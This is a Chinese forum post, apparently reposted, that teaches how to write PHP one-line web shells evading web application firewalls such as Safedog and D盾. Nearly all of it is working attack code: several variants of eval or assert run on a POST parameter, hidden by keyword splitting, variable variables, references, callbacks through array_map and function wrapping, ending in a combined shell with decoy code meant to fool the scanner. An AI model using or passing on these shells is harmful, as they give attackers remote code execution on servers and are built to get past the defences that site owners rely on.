來(lái)源:http://bbs.ichunqiu.com/thread-10016-1-1.html?from=ch
請(qǐng)勿侵權(quán),謝謝!自己真正學(xué)到的才是自己的財(cái)富!只是一味的盜版,不懂得學(xué)習(xí)的那叫小學(xué)生!
謝謝~有句話(huà)叫:人外有人,天外有天。
#??有很多人曾經(jīng)在為繞過(guò)WAF的一句話(huà)煩惱,今天我就給大家講講繞過(guò)WAF的思路。有不懂得小伙伴,可以加我QQ,
個(gè)人認(rèn)為免殺大致分為這幾個(gè)方面:
1.關(guān)鍵字拆分。
比如assert,可以寫(xiě)成 'a'.'ss'.'e'.'r'.'t'這樣。
總結(jié):這種方法雖然簡(jiǎn)單,但是卻沒(méi)有太強(qiáng)的免殺功效,需要結(jié)合其他方法。
2.可變變量、引用、可變函數(shù)。
可變變量??比如$a=$_POST['x'];$b='a';@eval($$b);
測(cè)試結(jié)果:

總結(jié):這種方法對(duì)安全狗等WAF可以繞過(guò)哦~但是對(duì)于D盾這種多規(guī)則的是無(wú)效的!
引用??比如$a=$_POST['x'];$b=&$a;@eval($b);
測(cè)試結(jié)果:

總結(jié):這種方法與上一種方法類(lèi)似。
可變函數(shù)??比如$a='a'.'ss'.'e'.'r'.'t';$a($_POST['x']);
測(cè)試結(jié)果:

總結(jié):這種方法對(duì)于安全狗、360主機(jī)衛(wèi)士、D盾之類(lèi)的均沒(méi)有作用哦~
3.添加其他代碼。
添加其他代碼??比如??if(empty($a))
{
$a=$_POST['x'];
}
@eval($a);
測(cè)試結(jié)果:

總結(jié):這種方法比較適合腦洞比較大的小伙伴們~
4.函數(shù)替換。
使用其他函數(shù),比如eval可以使用assert替換。
總結(jié):這種方法適合eval函數(shù)被禁用時(shí)使用哦~
5.封裝到新的函數(shù)中。
新定義一個(gè)函數(shù),使其封裝到新函數(shù)中。
function test($a){? ?//定義一個(gè)名為test的函數(shù),并使用$a接受參數(shù)
eval($a);
}
test($_POST['x']);
測(cè)試結(jié)果:

總結(jié):這種方法適合有PHP基礎(chǔ)的人哦,姿勢(shì)風(fēng)騷~不怕不過(guò)!
6.函數(shù)回調(diào)。
使用其他函數(shù)進(jìn)行調(diào)用,并執(zhí)行。
如:array_map('a'.'s'.'se'.'r'.'t',array($_POST['x']));
測(cè)試結(jié)果:

總結(jié):這種方法適合有PHP基礎(chǔ)的人哦~這種方法絕對(duì)過(guò)WAF哦~
7.利用各種方法的特性寫(xiě)出過(guò)WAF的一句話(huà)。
function test($a){//利用所學(xué)的封裝函數(shù)
if (empty($a)){//利用所學(xué)的添加其他代碼
$a="echo 'QQ:844812159';";//使用這句代碼擾亂D盾的判斷
}
@eval($a);
}
@test($_POST['x']);
?>
測(cè)試結(jié)果:
